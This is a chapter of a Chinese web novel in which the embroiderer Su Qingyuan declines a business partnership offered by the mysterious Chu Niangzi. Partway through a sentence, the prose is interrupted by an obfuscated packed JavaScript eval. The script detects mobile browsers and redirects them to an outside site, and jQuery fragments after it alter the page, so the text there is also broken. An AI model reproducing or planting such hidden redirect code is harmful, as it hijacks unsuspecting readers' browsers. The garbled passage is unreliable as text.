默认冷灰
24号文字
方正启体

6. 街前偶遇·楚娘问绣

作者:远见628本书字数:K更新时间:
    苏清鸢去柳府送底稿那天,天公不作美。出门时还是晴空万里,走到半路忽然阴了下来,铅灰色的云层压得很低,空气里弥漫着雨前的土腥味。


    她加快了脚步,怀里抱着用素布裹好的屏风底稿,穿过东街的早市,拐进柳府所在的巷子。


    巷口那棵老槐树下,一辆马车横在那里,车夫正蹲在地上查看车轴,嘴里骂骂咧咧。苏清鸢侧身绕过,没走几步,身后传来一声脆响——车轴断了,


    马车歪在一边,挡住了大半条巷子。


    她皱了皱眉,只能绕路。这一绕,便绕到了云来客栈楼下。


    客栈二楼的临窗雅间里,楚娘子正端着茶盏,有一搭没一搭地看着窗外的街景。


    她在青溪县住了三日,打听到的消息不少,但真正有用的不多。


    苏家那个柴房里的庶女,绣活确实好,但人不好接近——苏家的人防着她,外人也进不去苏家的门。


    她正盘算着要不要换个法子,目光无意间往楼下一瞥,忽然定住了。


    一个年轻女子正从街角拐出来,怀里抱着一个素布包裹。她穿着半旧的月白褙子,发间一支素银簪子,通身上下朴素得近乎寒酸。


    但她的步伐不紧不慢,脊背挺得笔直,走在人来人往的街市上,像一竿青竹从杂草丛中长出来,不扎眼,但你一眼就能看到她。


    楚娘子的目光落在她怀里那个素布包裹上。包裹的边角露出一小截素帛——那上面的纹样,不是市面上常见的牡丹蝴蝶,也不是俗艳的吉祥图案,而是一枝折枝桂花,花枝舒展,留白疏朗,气韵清雅。


    她从未见过这样的纹样。


    她放下茶盏,站起身,快步下了楼。


    苏清鸢正在客栈门口的台阶下经过,忽然听到身后有人喊:“前面那位姑娘,留步。”声音不高,但很清晰,带着一种让人不好拒绝的从容。


    她停下脚步,转过身。


    一个年轻女子从客栈门里走出来,穿着月白色的交领襦裙,发间一支羊脂玉簪,面容清秀,眉目间有一种长年养尊处优才有的气度。


    她的目光落在苏清鸢怀里的素布包裹上,微微一笑。“姑娘,你怀里的绣样,能让我看一眼吗?”


    苏清鸢打量了她一眼。这个人的穿着打扮低调但不廉价,那支羊脂玉簪的雕工是京城才有的手艺,她身后跟着的侍女脚步沉稳,一看就是练过的。


    不是普通人。


    “你是?”


    “我姓楚,从京城来,到青溪访友。”年轻女子欠了欠身,姿态大方而不失礼数,“方才在楼上喝茶,无意中瞥见姑娘怀里的绣样,那纹样我从没见过,忍不住追下来看看。冒昧了。”


    苏清鸢没有立刻回答。她低头看了看怀里的素布包裹——底稿而已,不是什么见不得人的东西。


    她将包裹放在台阶上,解开系带,把那一角素帛展开。楚娘子的目光落在那些线条上,瞳孔微微放大了。


    那是一幅折枝桂花的底稿。花枝从左下角斜出,向上舒展,花瓣层叠,留白恰到好处。不是市面上那种铺天盖地的满绣,也不是匠气十足的工笔描摹,而是气韵流动的、有呼吸感的、像活的一样。


    她的手指微微动了一下,像是想去触摸,又忍住了。


    “这是你画的?”


    “是。”


    “你是绣娘?”


    “是。”


    楚娘子抬起头,重新打量苏清鸢。


    这一回的目光不同了,不是好奇,是掂量。一个穿着半旧衣裳、走在街上的年轻女子,能画出这样的底稿,能绣出柳夫人赞不绝口的屏风——这样的人,不该被困在这座小县城里。


    “我姓楚,在京城做些小生意。”她笑了笑,语气随意得像在聊天气,“这次来青溪,本来是想访友,没想到遇到你。姑娘,你有没有想过,去京城?”


    苏清鸢将底稿重新卷好,系上布带。“想过。但不是现在。”


    楚娘子没有追问。


    她从袖中取出一张名帖,双手递过来。“这是我的名帖。我在京城有些产业,也有一些人脉。如果姑娘将来有意去京城发展,可以来找我。我有资金,有人脉,缺的就是手艺。你出技术,我出钱,合伙开个绣庄,如何?”


    苏清鸢接过名帖。名帖上的字迹娟秀而不失力道,只写了一个“楚”字,没有全名,没有头衔。


    她将名帖收进袖中,抬头看着楚娘子。


    “楚娘子好意,我心领了。但我现在还没站稳脚跟,不想欠人情。等我做出名堂再说。”


    楚娘子愣了一下。她没想到会被人拒绝。在京城,多少人想攀上她的关系,求都求不来。这个站在街边、连件像样衣裳都穿不起的绣娘,居然不假思索地拒绝了。


    她看着苏清鸢的眼睛,那双眼睛里没有欲擒故纵的算计,也没有故作矜持的矫情,只有一种很淡的、很确定的、属于自己的节奏。


    楚娘子忽然笑了。“好。那我等你做出名堂。”她收回名帖,从袖中又取出一张写了地址的纸条,递过去,“这个你留着。京城有需要,可以找我。不是合伙,是交朋友。”


    苏清鸢接过纸条,看了一眼,收进袖中。“多谢。”


    她没有再说什么,抱起素布包裹,转身走了。


    楚娘子站在客栈门口,看着她的背影穿过街市,拐进柳府所在的巷子,消失在视线之外。身后的侍女凑上来,压低声音问:“姑娘,她就这么走了?”


    “走了。”


    “您不生气?”


    楚娘子摇了摇头。“不生气。”她转过身,走回客栈,上了楼,在临窗的雅间坐下,又给自己倒了一杯茶。


    茶已经凉了,她没换,端起来抿了一口。


    “有意思。”她低声说。


    窗外的天还是阴的,雨始终没有落下来。但风已经开始变了方向,从南边吹来的,带着潮湿的、泥土的气息。


    苏清鸢走进柳府,将底稿交给柳夫人过目。


    柳夫人看了很满意,只提了几处小修改,便让人收了底稿,留苏清鸢喝茶。


    苏清鸢没有多待,喝了半盏茶,便告辞出来。


    出了柳府,她没有直接回柴房,而是在街边站了一会儿。她从袖中取出那张纸条,又看了一遍。纸条上写的是一处京城的地址,字迹和她方才看到的那个“楚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579122|205068||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”字出自同一人之手。她将纸条折好,重新收进袖中。


    京城。合伙。资金。人脉。


    那个“楚娘子”,不是普通人。普通人的侍女不会有那样的眼神,普通人不会有那样的气度,普通人不会在第一次见面就提出合伙。


    她的直觉告诉她,这个人的来头比她说的要大得多。


    但正因为如此,她更不能答应。


    她现在什么都没有——没有名声,没有资本,没有根基。贸然攀上这样一个人,只会被人当作附庸。她要自己做起来,自己站稳了,再去谈合伙。到那时候,她是平等的合作者,不是需要施舍的穷亲戚。


    她深吸一口气,迈步走回苏家。


    风更大了,树梢在头顶摇晃,落叶被卷起来,在空中打着旋。这座小城的风,正在从四面八方吹来。她不知道那些风会把她带向哪里,但她知道,她得自己掌舵。


    当天晚上,楚娘子在客栈的房间里,对侍女说了一句话。


    “那个苏清鸢,不是池中之物。”


    侍女问:“姑娘怎么知道?”


    楚娘子没有回答。


    她想起苏清鸢站在街边拒绝她时的眼神——不卑不亢,不急不躁,不因为对方的善意而感激涕零,也不因为对方的实力而趋炎附势。那种从容,不是装出来的,是骨头里自带的。一个有骨气的人,才有资格谈合作。


    “沈娘子的女儿,比她母亲还要强。”她低声说,像是在自言自语。


    窗外,第一场秋雨终于落了下来。雨点打在瓦片上,噼噼啪啪,像无数细小的针。


    她听着雨声,嘴角慢慢弯起一个弧度。她不急。


    她会等的。等那根青竹,长成参天大树。


    苏清鸢回到柴房,将那张纸条和赵宜真的名帖一起放进木匣,锁好。


    她在窗前坐下,将那件唐制齐胸襦裙的底稿铺开,继续修改。她的手很稳,笔尖在纸上走得很慢,但每一个线条都落得很准。


    窗外的雨越下越大,风从门缝里灌进来,吹得油灯的火苗摇摇晃晃。她伸手护住火苗,等它稳了,才继续画。


    她不知道那个“楚娘子”是谁,也不急着知道。她只知道,她有一笔定金,一间新租的小院,一本母亲留下的绣谱,一双手。这些够了。


    等她把该做的事做完,把该站稳的脚跟站稳,她自然会知道,那些人是谁,那些事是怎么回事。现在,她只需要做好一件事——把自己的日子,过成自己想要的样子。


    雨夜里,楚娘子没有睡。她坐在窗前,面前摊着一张纸,纸上写着几行字——苏清鸢,苏家庶女,生母沈婉,原长公主府一等绣娘。


    她在沈婉的名字旁边画了一个圈,又在圈旁写了一个字:“查。”停了一会儿,又在那行字下面加了一行——“此女可用。”


    窗外的雨越下越大,她的目光穿过雨幕,落在苏家后院的方向。


    她看不到那间柴房,但她知道那里有一盏灯还亮着。


    那个人还没有睡。和她一样。


    她将纸折好,收进袖中,吹灭了灯。黑暗中,她的唇角微微弯起。不急。


    她等得起。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)